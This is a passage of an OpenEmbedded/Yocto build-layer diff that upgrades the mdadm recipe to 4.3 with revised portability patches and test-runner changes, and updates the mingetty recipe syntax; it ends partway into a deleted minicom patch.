diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch b/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
index a1e7e59323..52daea2a49 100644
--- a/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
+++ b/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
@@ -1,4 +1,4 @@
1From b431cb4e1ed060122fa300dc0008f74080d38f73 Mon Sep 17 00:00:00 2001 1From 4dd5c2659722b44409cee28b4cea68cdeaa1f987 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com> 2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 9 May 2016 22:03:57 +0000 3Date: Mon, 9 May 2016 22:03:57 +0000
4Subject: [PATCH] mdadm.h: Undefine dprintf before redefining 4Subject: [PATCH] mdadm.h: Undefine dprintf before redefining
@@ -20,10 +20,10 @@ Upstream-Status: Pending
20 1 file changed, 2 insertions(+) 20 1 file changed, 2 insertions(+)
21 21
22diff --git a/mdadm.h b/mdadm.h 22diff --git a/mdadm.h b/mdadm.h
23index 387e681..bb943bf 100644 23index 1f28b3e..04996e2 100644
24--- a/mdadm.h 24--- a/mdadm.h
25+++ b/mdadm.h 25+++ b/mdadm.h
26@@ -1649,11 +1649,13 @@ static inline char *to_subarray(struct mdstat_ent *ent, char *container) 26@@ -1869,11 +1869,13 @@ static inline sighandler_t signal_s(int sig, sighandler_t handler)
27 } 27 }
28 28
29 #ifdef DEBUG 29 #ifdef DEBUG
diff --git a/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch b/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch
new file mode 100644
index 0000000000..13435ee418
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch
@@ -0,0 +1,155 @@
1From aa86de05cd6a75222b38e0789ac96fe00f705430 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Thu, 10 Nov 2022 12:31:22 -0800
4Subject: [PATCH] restripe.c: Use _FILE_OFFSET_BITS to enable largefile support
5
6Instead of using the lseek64 and friends, its better to enable it via
7the feature macro _FILE_OFFSET_BITS = 64 and let the C library deal with
8the width of types
9
10Upstream-Status: Submitted [https://lore.kernel.org/linux-raid/20221110225546.337164-1-raj.khem@gmail.com/]
11Signed-off-by: Khem Raj <raj.khem@gmail.com>
12---
13 raid6check.c | 11 +++++++----
14 restripe.c | 13 ++++++++-----
15 swap_super.c | 13 +++++++------
16 3 files changed, 22 insertions(+), 15 deletions(-)
17
18diff --git a/raid6check.c b/raid6check.c
19index 9947776..8e7f142 100644
20--- a/raid6check.c
21+++ b/raid6check.c
22@@ -22,6 +22,9 @@
23 * Based on "restripe.c" from "mdadm" codebase
24 */
25
26+/* Enable largefile support */
27+#define _FILE_OFFSET_BITS 64
28+
29 #include "mdadm.h"
30 #include <stdint.h>
31 #include <sys/mman.h>
32@@ -284,9 +287,9 @@ int manual_repair(int chunk_size, int syndrome_disks,
33 }
34
35 int write_res1, write_res2;
36- off64_t seek_res;
37+ off_t seek_res;
38
39- seek_res = lseek64(source[fd1],
40+ seek_res = lseek(source[fd1],
41 offsets[fd1] + start * chunk_size, SEEK_SET);
42 if (seek_res < 0) {
43 fprintf(stderr, "lseek failed for failed_disk1\n");
44@@ -294,7 +297,7 @@ int manual_repair(int chunk_size, int syndrome_disks,
45 }
46 write_res1 = write(source[fd1], blocks[failed_slot1], chunk_size);
47
48- seek_res = lseek64(source[fd2],
49+ seek_res = lseek(source[fd2],
50 offsets[fd2] + start * chunk_size, SEEK_SET);
51 if (seek_res < 0) {
52 fprintf(stderr, "lseek failed for failed_disk2\n");
53@@ -379,7 +382,7 @@ int check_stripes(struct mdinfo *info, int *source, unsigned long long *offsets,
54 goto exitCheck;
55 }
56 for (i = 0 ; i < raid_disks ; i++) {
57- off64_t seek_res = lseek64(source[i], offsets[i] + start * chunk_size,
58+ off_t seek_res = lseek(source[i], offsets[i] + start * chunk_size,
59 SEEK_SET);
60 if (seek_res < 0) {
61 fprintf(stderr, "lseek to source %d failed\n", i);
62diff --git a/restripe.c b/restripe.c
63index a7a7229..1c03577 100644
64--- a/restripe.c
65+++ b/restripe.c
66@@ -22,6 +22,9 @@
67 * Email: <neilb@suse.de>
68 */
69
70+/* Enable largefile support */
71+#define _FILE_OFFSET_BITS 64
72+
73 #include "mdadm.h"
74 #include <stdint.h>
75
76@@ -581,7 +584,7 @@ int save_stripes(int *source, unsigned long long *offsets,
77 raid_disks, level, layout);
78 if (dnum < 0) abort();
79 if (source[dnum] < 0 ||
80- lseek64(source[dnum],
81+ lseek(source[dnum],
82 offsets[dnum] + offset, 0) < 0 ||
83 read(source[dnum], buf+disk * chunk_size,
84 chunk_size) != chunk_size) {
85@@ -754,8 +757,8 @@ int restore_stripes(int *dest, unsigned long long *offsets,
86 raid_disks, level, layout);
87 if (src_buf == NULL) {
88 /* read from file */
89- if (lseek64(source, read_offset, 0) !=
90- (off64_t)read_offset) {
91+ if (lseek(source, read_offset, 0) !=
92+ (off_t)read_offset) {
93 rv = -1;
94 goto abort;
95 }
96@@ -816,7 +819,7 @@ int restore_stripes(int *dest, unsigned long long *offsets,
97 }
98 for (i=0; i < raid_disks ; i++)
99 if (dest[i] >= 0) {
100- if (lseek64(dest[i],
101+ if (lseek(dest[i],
102 offsets[i]+offset, 0) < 0) {
103 rv = -1;
104 goto abort;
105@@ -866,7 +869,7 @@ int test_stripes(int *source, unsigned long long *offsets,
106 int disk;
107
108 for (i = 0 ; i < raid_disks ; i++) {
109- if ((lseek64(source[i], offsets[i]+start, 0) < 0) ||
110+ if ((lseek(source[i], offsets[i]+start, 0) < 0) ||
111 (read(source[i], stripes[i], chunk_size) !=
112 chunk_size)) {
113 free(q);
114diff --git a/swap_super.c b/swap_super.c
115index b6db574..18c89e2 100644
116--- a/swap_super.c
117+++ b/swap_super.c
118@@ -1,3 +1,6 @@
119+/* Enable largefile support */
120+#define _FILE_OFFSET_BITS 64
121+
122 #include <unistd.h>
123 #include <stdlib.h>
124 #include <fcntl.h>
125@@ -16,8 +19,6 @@
126
127 #define MD_NEW_SIZE_SECTORS(x) ((x & ~(MD_RESERVED_SECTORS - 1)) - MD_RESERVED_SECTORS)
128
129-extern long long lseek64(int, long long, int);
130-
131 int main(int argc, char *argv[])
132 {
133 int fd, i;
134@@ -38,8 +39,8 @@ int main(int argc, char *argv[])
135 exit(1);
136 }
137 offset = MD_NEW_SIZE_SECTORS(size) * 512LL;
138- if (lseek64(fd, offset, 0) < 0LL) {
139- perror("lseek64");
140+ if (lseek(fd, offset, 0) < 0LL) {
141+ perror("lseek");
142 exit(1);
143 }
144 if (read(fd, super, 4096) != 4096) {
145@@ -68,8 +69,8 @@ int main(int argc, char *argv[])
146 super[32*4+10*4 +i] = t;
147 }
148
149- if (lseek64(fd, offset, 0) < 0LL) {
150- perror("lseek64");
151+ if (lseek(fd, offset, 0) < 0LL) {
152+ perror("lseek");
153 exit(1);
154 }
155 if (write(fd, super, 4096) != 4096) {
diff --git a/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch b/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch
new file mode 100644
index 0000000000..0916efafdf
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch
@@ -0,0 +1,24 @@
1From 8fa7d3cb96e8833743b635fb198675ad6c020b6e Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex@linutronix.de>
3Date: Tue, 12 Mar 2024 10:51:51 +0100
4Subject: [PATCH] util.c: add limits.h include for NAME_MAX definition
5
6Upstream-Status: Submitted [mariusz.tkaczyk@linux.intel.com,linux-raid@vger.kernel.org]
7Signed-off-by: Alexander Kanavin <alex@linutronix.de>
8---
9 util.c | 2 +-
10 1 file changed, 1 insertion(+), 1 deletion(-)
11
12diff --git a/util.c b/util.c
13index b145447..a9cb6c4 100644
14--- a/util.c
15+++ b/util.c
16@@ -36,7 +36,7 @@
17 #include <ctype.h>
18 #include <dirent.h>
19 #include <dlfcn.h>
20-
21+#include <limits.h>
22
23 /*
24 * following taken from linux/blkpg.h because they aren't
diff --git a/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch b/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch
new file mode 100644
index 0000000000..145c65477a
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch
@@ -0,0 +1,27 @@
1From a22b2345b9773d362acd85dd4c4a6a3cda9100d4 Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex@linutronix.de>
3Date: Tue, 12 Mar 2024 10:54:08 +0100
4Subject: [PATCH] Create.c: include linux/falloc.h for FALLOC_FL_ZERO_RANGE
5 definition
6
7glibc provides this through fcntl.h but musl does not - should
8be reported and fixed there.
9
10Upstream-Status: Inappropriate [musl-specific issue]
11Signed-off-by: Alexander Kanavin <alex@linutronix.de>
12---
13 Create.c | 1 +
14 1 file changed, 1 insertion(+)
15
16diff --git a/Create.c b/Create.c
17index 8082f54..7071f0a 100644
18--- a/Create.c
19+++ b/Create.c
20@@ -31,6 +31,7 @@
21 #include <signal.h>
22 #include <sys/signalfd.h>
23 #include <sys/wait.h>
24+#include <linux/falloc.h>
25
26 static int round_size_and_verify(unsigned long long *size, int chunk)
27 {
diff --git a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
index e66a15cd79..b758fcd0ab 100644
--- a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
+++ b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
@@ -1,5 +1,7 @@
1From: martin f. krafft <madduck@debian.org> 1From 319b3191f088cea7b0fb6038ab7625d5e049dcf7 Mon Sep 17 00:00:00 2001
2Subject: Remove -Werror from compiler flags 2From: "martin f. krafft" <madduck@debian.org>
3Date: Mon, 3 Jan 2022 19:14:12 +0000
4Subject: [PATCH] Remove -Werror from compiler flags
3 5
4-Werror seems like a bad idea on released/packaged code because a toolchain 6-Werror seems like a bad idea on released/packaged code because a toolchain
5update (introducing new warnings) could break the build. We'll let upstream 7update (introducing new warnings) could break the build. We'll let upstream
@@ -9,17 +11,19 @@ Signed-off-by: martin f. krafft <madduck@debian.org>
9 11
10Upstream-Status: Pending 12Upstream-Status: Pending
11--- 13---
12 Makefile | 2 +- 14 Makefile | 2 +-
13 1 files changed, 1 insertions(+), 1 deletions(-) 15 1 file changed, 1 insertion(+), 1 deletion(-)
14 16
17diff --git a/Makefile b/Makefile
18index 9ab6a65..1141971 100644
15--- a/Makefile 19--- a/Makefile
16+++ b/Makefile 20+++ b/Makefile
17@@ -48,7 +48,7 @@ endif 21@@ -50,7 +50,7 @@ ifeq ($(origin CC),default)
18 22 CC := $(CROSS_COMPILE)gcc
19 CC ?= $(CROSS_COMPILE)gcc 23 endif
20 CXFLAGS ?= -ggdb 24 CXFLAGS ?= -ggdb
21-CWFLAGS = -Wall -Werror -Wstrict-prototypes -Wextra -Wno-unused-parameter 25-CWFLAGS ?= -Wall -Werror -Wstrict-prototypes -Wextra -Wno-unused-parameter -Wformat -Wformat-security -Werror=format-security -fstack-protector-strong -fPIE -Warray-bounds
22+CWFLAGS = -Wall -Wstrict-prototypes -Wextra -Wno-unused-parameter 26+CWFLAGS ?= -Wall -Wstrict-prototypes -Wextra -Wno-unused-parameter -Wformat -Wformat-security -Werror=format-security -fstack-protector-strong -fPIE -Warray-bounds
23 ifdef WARN_UNUSED 27 ifdef WARN_UNUSED
24 CWFLAGS += -Wp,-D_FORTIFY_SOURCE=2 -O3 28 CWFLAGS += -Wp -O3
25 endif 29 endif
diff --git a/meta/recipes-extended/mdadm/files/include_sysmacros.patch b/meta/recipes-extended/mdadm/files/include_sysmacros.patch
deleted file mode 100644
index 8a1d8342d8..0000000000
--- a/meta/recipes-extended/mdadm/files/include_sysmacros.patch
+++ /dev/null
@@ -1,14 +0,0 @@
1include sys/sysmacros.h for major/minor macro definitions
2
3Upstream-Status: Pending
4Signed-off-by: Khem Raj <raj.khem@gmail.com>
5--- a/mdadm.h
6+++ b/mdadm.h
7@@ -35,6 +35,7 @@ extern __off64_t lseek64 __P ((int __fd,
8
9 #include <sys/types.h>
10 #include <sys/stat.h>
11+#include <sys/sysmacros.h>
12 #include <stdint.h>
13 #include <stdlib.h>
14 #include <time.h>
diff --git a/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch b/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
index 7a2c888701..ecd1f037d0 100644
--- a/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
+++ b/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
@@ -1,4 +1,4 @@
1From e37f7f6a0f1ef1b594574d11a8b90b8c861d047b Mon Sep 17 00:00:00 2001 1From ca91d9fc07943f209988411f2596e4b69828f208 Mon Sep 17 00:00:00 2001
2From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com> 2From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
3Date: Sun, 15 Mar 2015 09:02:14 +0000 3Date: Sun, 15 Mar 2015 09:02:14 +0000
4Subject: [PATCH] mdadm: Fix build in x32 ABI 4Subject: [PATCH] mdadm: Fix build in x32 ABI
@@ -12,16 +12,15 @@ data type in x32 ABI is long long int.
12Upstream-Status: Pending 12Upstream-Status: Pending
13 13
14Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com> 14Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
15
16--- 15---
17 monitor.c | 5 ++++- 16 monitor.c | 5 ++++-
18 1 file changed, 4 insertions(+), 1 deletion(-) 17 1 file changed, 4 insertions(+), 1 deletion(-)
19 18
20diff --git a/monitor.c b/monitor.c 19diff --git a/monitor.c b/monitor.c
21index 81537ed..7c33382 100644 20index 4acec67..8dcdfd6 100644
22--- a/monitor.c 21--- a/monitor.c
23+++ b/monitor.c 22+++ b/monitor.c
24@@ -445,9 +445,12 @@ static int read_and_act(struct active_array *a, fd_set *fds) 23@@ -447,9 +447,12 @@ static int read_and_act(struct active_array *a, fd_set *fds)
25 if (FD_ISSET(mdi->bb_fd, fds)) 24 if (FD_ISSET(mdi->bb_fd, fds))
26 check_for_cleared_bb(a, mdi); 25 check_for_cleared_bb(a, mdi);
27 } 26 }
diff --git a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch b/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch
deleted file mode 100644
index 8e2a8a9043..0000000000
--- a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch
+++ /dev/null
@@ -1,43 +0,0 @@
1From 911f6ea9be0c334885aeff66853b111cbd4066df Mon Sep 17 00:00:00 2001
2From: "Maxin B. John" <maxin.john@intel.com>
3Date: Wed, 10 Feb 2016 17:28:05 +0200
4Subject: [PATCH] mdadm-fix-ptest-build-errors
5
6builds fail with ptest enabled:
7
8| restripe.c: In function 'test_stripes':
9| restripe.c:845:4: error: ignoring return value of 'read', declared with
10| attribute warn_unused_result [-Werror=unused-result]
11| read(source[i], stripes[i], chunk_size);
12| ^
13| cc1: all warnings being treated as errors
14| Makefile:214: recipe for target 'test_stripe' failed
15
16Upstream-Status: Pending
17
18Signed-off-by: Maxin B. John <maxin.john@intel.com>
19
20---
21 restripe.c | 6 +++++-
22 1 file changed, 5 insertions(+), 1 deletion(-)
23
24diff --git a/restripe.c b/restripe.c
25index 31b07e8..592ba5d 100644
26--- a/restripe.c
27+++ b/restripe.c
28@@ -864,10 +864,14 @@ int test_stripes(int *source, unsigned long long *offsets,
29
30 while (length > 0) {
31 int disk;
32+ ssize_t ret;
33
34 for (i = 0 ; i < raid_disks ; i++) {
35 lseek64(source[i], offsets[i]+start, 0);
36- read(source[i], stripes[i], chunk_size);
37+ ret = read(source[i], stripes[i], chunk_size);
38+ if (ret == -1) {
39+ printf("Read Failed\n");
40+ }
41 }
42 for (i = 0 ; i < data_disks ; i++) {
43 int disk = geo_map(i, start/chunk_size, raid_disks,
diff --git a/meta/recipes-extended/mdadm/files/run-ptest b/meta/recipes-extended/mdadm/files/run-ptest
index fae8071d43..c3f201491e 100644
--- a/meta/recipes-extended/mdadm/files/run-ptest
+++ b/meta/recipes-extended/mdadm/files/run-ptest
@@ -1,7 +1,10 @@
1#!/bin/sh 1#!/bin/sh
2 2
3mkdir -p /mdadm-testing-dir 3logdir=$PWD/logs
4# make the test continue to execute even one fail 4targetdir=/mdadm-testing-dir
5dir=. ./test --keep-going --disable-integrity 5
6rm -rf $targetdir $logdir
7mkdir -p $targetdir $logdir
6 8
7rm -rf /mdadm-testing-dir/* 9# make the test continue to execute even one fail
10./test --keep-going --disable-integrity --skip-broken --save-logs --logdir=$logdir
diff --git a/meta/recipes-extended/mdadm/mdadm_4.1.bb b/meta/recipes-extended/mdadm/mdadm_4.3.bb
index 001d3331a7..228fc6f84e 100644
--- a/meta/recipes-extended/mdadm/mdadm_4.1.bb
+++ b/meta/recipes-extended/mdadm/mdadm_4.3.bb
@@ -1,8 +1,9 @@
1SUMMARY = "Tool for managing software RAID under Linux" 1SUMMARY = "Tool for managing software RAID under Linux"
2HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/" 2HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/"
3DESCRIPTION = "mdadm is a Linux utility used to manage and monitor software RAID devices."
3 4
4# Some files are GPLv2+ while others are GPLv2. 5# Some files are GPL-2.0-only while others are GPL-2.0-or-later.
5LICENSE = "GPLv2 & GPLv2+" 6LICENSE = "GPL-2.0-only & GPL-2.0-or-later"
6LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ 7LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
7 file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \ 8 file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \
8 file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161" 9 file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161"
@@ -11,42 +12,41 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
11SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \ 12SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \
12 file://run-ptest \ 13 file://run-ptest \
13 file://mdadm-3.3.2_x32_abi_time_t.patch \ 14 file://mdadm-3.3.2_x32_abi_time_t.patch \
14 file://mdadm-fix-ptest-build-errors.patch \
15 file://0001-mdadm.h-Undefine-dprintf-before-redefining.patch \ 15 file://0001-mdadm.h-Undefine-dprintf-before-redefining.patch \
16 file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \ 16 file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \
17 file://0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch \ 17 file://0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch \
18 file://0001-Compute-abs-diff-in-a-standard-compliant-way.patch \
19 file://0001-fix-gcc-8-format-truncation-warning.patch \ 18 file://0001-fix-gcc-8-format-truncation-warning.patch \
20 file://debian-no-Werror.patch \ 19 file://debian-no-Werror.patch \
21 file://0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch \
22 file://mdadm.init \ 20 file://mdadm.init \
23 file://0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch \ 21 file://0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch \
24 file://include_sysmacros.patch \ 22 file://0001-Makefile-install-mdcheck.patch \
25 file://0001-mdadm-skip-test-11spare-migration.patch \ 23 file://0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch \
24 file://0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch \
25 file://0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch \
26 file://0001-include-libgen.h-for-basename-API.patch \
26 " 27 "
27 28
28SRC_URI[md5sum] = "51bf3651bd73a06c413a2f964f299598" 29SRC_URI[sha256sum] = "416727ae1f1080ea6e3090cea36dd076826fc369151e36ab736557ba92196f9f"
29SRC_URI[sha256sum] = "ab7688842908d3583a704d491956f31324c3a5fc9f6a04653cb75d19f1934f4a"
30 30
31inherit autotools-brokensep ptest systemd 31inherit autotools-brokensep ptest systemd
32 32
33SYSTEMD_SERVICE_${PN} = "mdmonitor.service" 33DEPENDS = "udev"
34SYSTEMD_AUTO_ENABLE = "disable"
35 34
36CFLAGS_append_toolchain-clang = " -Wno-error=address-of-packed-member" 35SYSTEMD_SERVICE:${PN} = "mdmonitor.service"
36SYSTEMD_AUTO_ENABLE = "disable"
37 37
38# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h 38# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h
39# prevents 64-bit userland from seeing this definition, instead defaulting 39# prevents 64-bit userland from seeing this definition, instead defaulting
40# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get 40# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get
41# int-ll64.h included 41# int-ll64.h included
42CFLAGS_append_powerpc64 = ' -D__SANE_USERSPACE_TYPES__' 42CFLAGS:append:powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
43CFLAGS_append_mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__' 43CFLAGS:append:mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
44CFLAGS_append_mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__' 44CFLAGS:append:mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
45 45
46EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_unitdir}/system \ 46EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_system_unitdir} \
47 BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev"' 47 BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev" LDFLAGS="${LDFLAGS}"'
48 48
49DEBUG_OPTIMIZATION_append = " -Wno-error" 49DEBUG_OPTIMIZATION:append = " -Wno-error"
50 50
51do_compile() { 51do_compile() {
52 oe_runmake SYSROOT="${STAGING_DIR_TARGET}" 52 oe_runmake SYSROOT="${STAGING_DIR_TARGET}"
@@ -57,14 +57,14 @@ do_install() {
57 autotools_do_install 57 autotools_do_install
58} 58}
59 59
60do_install_append() { 60do_install:append() {
61 install -d ${D}/${sysconfdir}/ 61 install -d ${D}/${sysconfdir}/
62 install -m 644 ${S}/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf 62 install -m 644 ${S}/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf
63 install -d ${D}/${sysconfdir}/init.d 63 install -d ${D}/${sysconfdir}/init.d
64 install -m 755 ${WORKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor 64 install -m 755 ${WORKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor
65} 65}
66 66
67do_install_append() { 67do_install:append() {
68 oe_runmake install-systemd DESTDIR=${D} 68 oe_runmake install-systemd DESTDIR=${D}
69} 69}
70 70
@@ -76,7 +76,6 @@ do_install_ptest() {
76 cp -R --no-dereference --preserve=mode,links -v ${S}/tests ${D}${PTEST_PATH}/tests 76 cp -R --no-dereference --preserve=mode,links -v ${S}/tests ${D}${PTEST_PATH}/tests
77 cp ${S}/test ${D}${PTEST_PATH} 77 cp ${S}/test ${D}${PTEST_PATH}
78 sed -e 's!sleep 0.*!sleep 1!g; s!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/test 78 sed -e 's!sleep 0.*!sleep 1!g; s!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/test
79 sed -e 's!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/tests/*
80 sed -i -e '/echo -ne "$_script... "/d' \ 79 sed -i -e '/echo -ne "$_script... "/d' \
81 -e 's/echo "succeeded"/echo -e "PASS: $_script"/g' \ 80 -e 's/echo "succeeded"/echo -e "PASS: $_script"/g' \
82 -e '/save_log fail/N; /_fail=1/i\\t\t\techo -ne "FAIL: $_script"' \ 81 -e '/save_log fail/N; /_fail=1/i\\t\t\techo -ne "FAIL: $_script"' \
@@ -90,12 +89,26 @@ do_install_ptest() {
90 do 89 do
91 install -D -m 755 $prg ${D}${PTEST_PATH}/ 90 install -D -m 755 $prg ${D}${PTEST_PATH}/
92 done 91 done
92
93 # Disable tests causing intermittent autobuilder failures
94 echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/19raid6check.broken
95 echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/20raid5journal.broken
96 echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/21raid5cache.broken
97 echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/10ddf-fail-spare.broken
98 echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/10ddf-fail-stop-readd.broken
93} 99}
94 100
95RDEPENDS_${PN}-ptest += "bash e2fsprogs-mke2fs" 101RDEPENDS:${PN} += "bash"
96RRECOMMENDS_${PN}-ptest += " \ 102RDEPENDS:${PN}-ptest += " \
103 bash \
104 e2fsprogs-mke2fs \
105 util-linux-lsblk \
106 util-linux-losetup \
107 util-linux-blockdev \
108 strace \
109"
110RRECOMMENDS:${PN}-ptest += " \
97 coreutils \ 111 coreutils \
98 util-linux \
99 kernel-module-loop \ 112 kernel-module-loop \
100 kernel-module-linear \ 113 kernel-module-linear \
101 kernel-module-raid0 \ 114 kernel-module-raid0 \
@@ -104,4 +117,11 @@ RRECOMMENDS_${PN}-ptest += " \
104 kernel-module-raid456 \ 117 kernel-module-raid456 \
105" 118"
106 119
107FILES_${PN} += "${systemd_unitdir}/*" 120FILES:${PN} += "${systemd_unitdir}/*"
121
122# strace is not yet ported to rv32
123RDEPENDS:${PN}-ptest:remove:riscv32 = "strace"
124do_install_ptest:append:riscv32 () {
125 echo "disabled, no strace" > ${D}${PTEST_PATH}/tests/07revert-grow.broken
126 echo "disabled, no strace" > ${D}${PTEST_PATH}/tests/07revert-inplace.broken
127}
diff --git a/meta/recipes-extended/mingetty/mingetty_1.08.bb b/meta/recipes-extended/mingetty/mingetty_1.08.bb
index 491b892093..aa5a989df2 100644
--- a/meta/recipes-extended/mingetty/mingetty_1.08.bb
+++ b/meta/recipes-extended/mingetty/mingetty_1.08.bb
@@ -1,8 +1,8 @@
1SUMMARY = "Compact getty terminal handler for virtual consoles only" 1SUMMARY = "Compact getty terminal handler for virtual consoles only"
2SECTION = "console/utils" 2SECTION = "console/utils"
3HOMEPAGE = "http://sourceforge.net/projects/mingetty/" 3HOMEPAGE = "http://sourceforge.net/projects/mingetty/"
4LICENSE = "GPLv2" 4DESCRIPTION = "This is a small Linux console getty that is started on the Linux text console, asks for a login name and then tranfers over to login directory. Is extended to allow automatic login and starting any app."
5PR = "r3" 5LICENSE = "GPL-2.0-only"
6 6
7LIC_FILES_CHKSUM = "file://COPYING;md5=0c56db0143f4f80c369ee3af7425af6e" 7LIC_FILES_CHKSUM = "file://COPYING;md5=0c56db0143f4f80c369ee3af7425af6e"
8SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.gz" 8SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.gz"
@@ -23,7 +23,7 @@ do_install(){
23 23
24inherit update-alternatives 24inherit update-alternatives
25 25
26ALTERNATIVE_${PN} = "getty" 26ALTERNATIVE:${PN} = "getty"
27ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty" 27ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
28ALTERNATIVE_TARGET[getty] = "${base_sbindir}/mingetty" 28ALTERNATIVE_TARGET[getty] = "${base_sbindir}/mingetty"
29ALTERNATIVE_PRIORITY = "10" 29ALTERNATIVE_PRIORITY = "10"
diff --git a/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch
deleted file mode 100644
index 4c6e249315..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch
+++ /dev/null
@@ -1,35 +0,0 @@
1From b65152ebc03832972115e6d98e50cb6190d01793 Mon Sep 17 00:00:00 2001
2From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com>
3Date: Mon, 3 Feb 2020 13:18:13 +0100
